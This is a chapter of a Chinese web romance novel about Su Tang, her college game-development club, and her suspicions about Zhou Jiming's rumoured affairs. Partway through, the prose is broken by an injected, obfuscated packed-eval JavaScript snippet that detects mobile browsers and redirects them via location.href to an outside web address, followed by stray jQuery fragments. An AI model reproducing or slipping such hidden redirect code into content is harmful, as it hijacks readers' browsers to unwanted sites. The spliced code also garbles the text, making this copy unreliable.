开学注册日，苏棠在学院报道完后，就去社团找刘大强。


    寒假期间，刘大强几次拐弯抹角打听沈默的消息。她当时怕露馅——毕竟是自己间接导致沈默误会才会连累他被拉黑。于是一直装傻充愣。


    前几天和沈默通过气后，她反而迫不及待想见刘大强，打算把沈默正在被海归富二代追的消息告诉他，看看他什么反应。


    新学期，刘大强因为拉到了投资，整个人喜气洋洋。


    “我们终于可以开发我们自己的游戏了。”刘大强对着几位老社员说道。


    他用拉来的投资请了几位大四学长，邀他们入股，一起开发一款MMORPG游戏。


    苏棠得知他要做这么大体量的项目，有些吃惊：“我们这种小作坊，能行吗？”


    刘大强拍着胸脯说：“见步行步嘛！等demo出来，我就再去拉投资，队伍和项目就这样慢慢滚雪球，总能做出来。而且——我敢说这绝对是未来的爆款，会成为国内二次元游戏的开山之作。”


    苏棠：“那我负责什么？”


    刘大强：“你就负责剧情策划吧，沈默逻辑强，她就负责数值和系统。”


    话刚出口，他神情恍惚了一瞬。旁边大二的社员小声提醒：“社长，沈默学姐不是退社了吗？”


    苏棠心里暗笑：果然，人总是在失去后才懂得后悔。


    她佯装附和：“唉，要是默姐在就好了，项目一定事半功倍。但她现在估计不可能回来了——她最近爱情事业双丰收，可没空搭理我们。”


    刘大强失神的目光猛地一颤，像是听到了什么难以置信的消息一般，怔怔地望向苏棠：“爱情......事业双丰收？”


    苏棠慢悠悠地解释：“她进的证券公司提前给她发了offer，有个高她一届的海归在追她，听说还是个低调的富二代。”


    旁边几个低年级社员听得眼睛发亮，他们还在校园里，对这种毕业就进大厂，还能遇上高富帅的故事充满向往，仿佛看到了自己未来的剧本。


    “学姐好牛啊，不过海归是不是有些重口啊！学姐那个样子......”一个大一新生口无遮拦地评论起沈默曾经夸张暗黑的打扮。


    刘大强下意识瞪了他一眼，眼神是从未有过的凌厉。


    新生自知失言，立刻噤声。


    苏棠鲜少见到刘大强对沈默的事有这般反应，内心惊呼有戏，随即掏出手机，开演计划好的大戏：“你们最近没见默姐吧？她换风格了，她现在长这样——”


    她不慌不慢地点开相册里一张合照，是上次两人在校外面馆吃面时拍的。暖黄的灯光下，沈默扎着高马尾，化了清雅的淡妆，金丝眼镜后的目光如水般柔和，既有女大学生的活力，又带着些都市白领的干练。


    “哇，学姐原来这么好看！”


    一片惊叹声中，刘大强凑近细看。


    苏棠特意把照片放大递到他眼前：“给，看仔细点。”语气里带着几分揶揄，仿佛讽刺他从前眼拙，竟没发现身边藏着颗明珠。


    “社长该不会是后悔了吧？”又是那个口无遮拦的新生，再次语出惊人。


    但刘大强只是怔怔地盯着手机上的照片，没有反驳，像是默认了。


    这时，几个正在调试设备的新社员也凑了过来。他们是大四的，虽然专业不同，但都听过沈默的名字。


    “沈默？金融系大三那个对吧。她是那届的新生代表，我记得长得不赖啊。”一个大四社员说道。


    “听说她当年的分数够上清北，却大老远来了我们这儿。”


    苏棠一怔，总觉得这剧情，好像在哪里听到过。


    她正出神，旁边有人开始安慰刘大强：“社长别灰心，沈默学姐虽然好，但错过了就往前看。等你创业成功，项目火了，还怕遇不到更好的？就像咱们学院那个大神，人家身边从来不缺美女。”


    话题一下被带歪，几个计算机学院的社员纷纷讨论起大神的事迹。


    “是不是周既明啊？听说他背景不简单，我反正不信大学生能开公司，还快上市了。”


    “是他。没什么背景，纯属天赋异宾。学院老师说他是个奇才，年纪虽轻，对行业趋势的洞察比很多老手还深。”


    “所以说，男人还是得先立业。事业有成，缘分自然就来了。最近系花不是总去找他？我记得他以前不是不怎么搭理她嘛，现在两人倒是同进同出了。”


    “我知道她！我还是她粉丝呢，天天直播打游戏，平台粉丝都快上万了。”


    一群人七嘴八舌地讨论着，原定上午要搭建的开发环境彻底搁置。


    可能是苏棠的激将法起了效，刘大强一言不发，完全没了干劲。苏棠虽然乐见这一幕，自己却也没了兴致——大约是两人都听到了些让人心凉的消息吧。


    中午，苏棠约了周既明去那家由星级酒店掌厨的食堂吃饭。刚走出社团大楼，才发现半小时前周既明给她打了五个电话，因为手机静音通通没接到。


    她赶忙点开微信，周既明果然给她发了消息：


    【苏棠，临时有急事出差，中午不能陪你吃饭了，周末回。】


    她心情顿时沉了下来。


    本来还想吃饭时向他确认那些传闻，这下连人都见不着了。


    在微信里问，又怕他随便搪塞过去。


    她给许春梅打了个电话，下午没课，干脆回许春梅那儿吃饭算了。接下来要忙功课和项目，能陪她的时间会变少很多。


    “妈，我中午回去吃。”


    “那我从公司带饭菜回去？”许春梅在电话那头问。


    苏棠这才想起，中午许春梅在公司做饭，也在公司吃。不过公司离公寓也就几步路，她应了声：“好，带回公寓吃吧。”


    苏棠比许春梅先回到公寓。


    她摆好碗筷，拿出平板，在一个直播平台搜了“谭笑笑”。


    很快，一个ID带着S大标识、名叫“笑一笑没什么大不了”的账号跳了出来。


    她点进主页翻了翻评论区，看到不少S大学生的留言，话里话外提到主播真名，确认这就是她要找的人。


    正当她准备点开其中一个直播回放，桌上的手机震了一下。


    她下意识以为是周既明的消息，连忙点开，发消息却是刘大强。


    刘大强：【苏棠，你知道追沈默那人叫什么名字吗？】


    苏棠无语地笑了笑，看了眼面前的平板，忽然觉得自己和刘大强像对难兄难弟。


    她回了个消息过去：【不清楚。你可以去他们公司官网查员工介绍页，最帅最年轻那个估计就是，听说是普林斯顿毕业的。】


    刘大强；【好，谢了。】


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724014|179806||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她关了手机，点开直播回放。


    画面里的主播很漂亮，是标准的甜美系女大学生。一头惹眼的波浪长发，以及可爱清新的妆容，正专注地玩着一款多人竞技类游戏。她操作流畅，时不时和弹幕互动，笑起来眉眼弯弯，很有感染力。


    刘春梅推门进来，见碗筷已摆好，便把带回的饭菜直接放上桌，省了装盘的工夫。


    她看苏棠盯着平板出神，提醒道：“吃饭专心点，别看了。”


    苏棠却把平板转了过来，没头没脑地问：“妈，你在公司见过这女孩吗？”


    许春梅摇了摇头，表示没见过。


    苏棠又问：“公司里，女员工多吗？”


    许春梅想了想：“以前不多，最近倒是招了一批。”


    苏棠若有所思地点了点头。


    她实在不愿相信周既明是沾花惹草的人，前世他身边除了自己，连个异性朋友都没有，总不能重生一次就换了品性吧？


    她琢磨着，那些偷拍说不定只是他和员工进出时的画面。


    但这个自我安慰马上就被否定，那些女员工未免长得也太出众了。


    “女员工.....长得好看吗？”她仍不死心。


    许春梅没有回答，意味深长地望着她：“怎么，现在知道紧张了。”


    苏棠支支吾吾：“什么啊？我......我是看他最近桃色新闻都上网了，问问而已。”


    许春梅也只是笑笑，没再说什么。


    苏棠知道许春梅向来站周既明，对他印象好的不得了，大概率是问不出什么东西来，便没再追问下去。


    吃完饭，她借口散步消食，拉着许春梅在科技园里晃悠，晃着晃着就走到乐糖科技门口。


    正值午休，里面灯都关了，她什么也没探到。


    许春梅看穿她的心思，抽出手，刷卡进了公司。十分钟出来后，把手机递给了苏棠：“这是新员工的照片。”


    苏棠接过手机。


    照片拍的是公司宣传栏，上面是新员工的介绍照。


    她扫了一眼，发现女员工无一能和那些偷拍照对上，眼神黯淡了下来。


    所以，男人有钱就会变坏、喜欢那些莺莺燕燕是吗？


    她心中浮现出一个庸俗的答案，却也是唯一能解释那些照片和传闻的答案。


    *


    飞机上，周既明正和陆知言商讨着接下来的计划。


    周既明眉毛微蹙：“你是说，替身文学？”


    “对。”陆知言语气笃定，心里却觉得好笑。


    明明是去谈大客户，下飞机就要开会，现在却讨论着追女生的计划。


    周既明一上飞机就说又要事商量，陆知言还以为是核对会议细节，结果竟是同步他和苏棠的进展。


    最近周既明发现苏棠有个“死去的白月光”，觉得有机可乘，问陆知言有没有切入点。


    陆知言便给他出个了“替身文学”的主意。


    “你就模仿他，做他做过的事，去他们去过的地方，直到她把你当成他，或者你直接取代他。”


    替身文学的诡谲之处在于，你貌似是作为一个影子靠近，却用切身的陪伴，让新的记忆覆盖了旧的烙印。


    最后谁也谁也说不清，“替身”是成为了“白月光”，还是取代了“白月光”。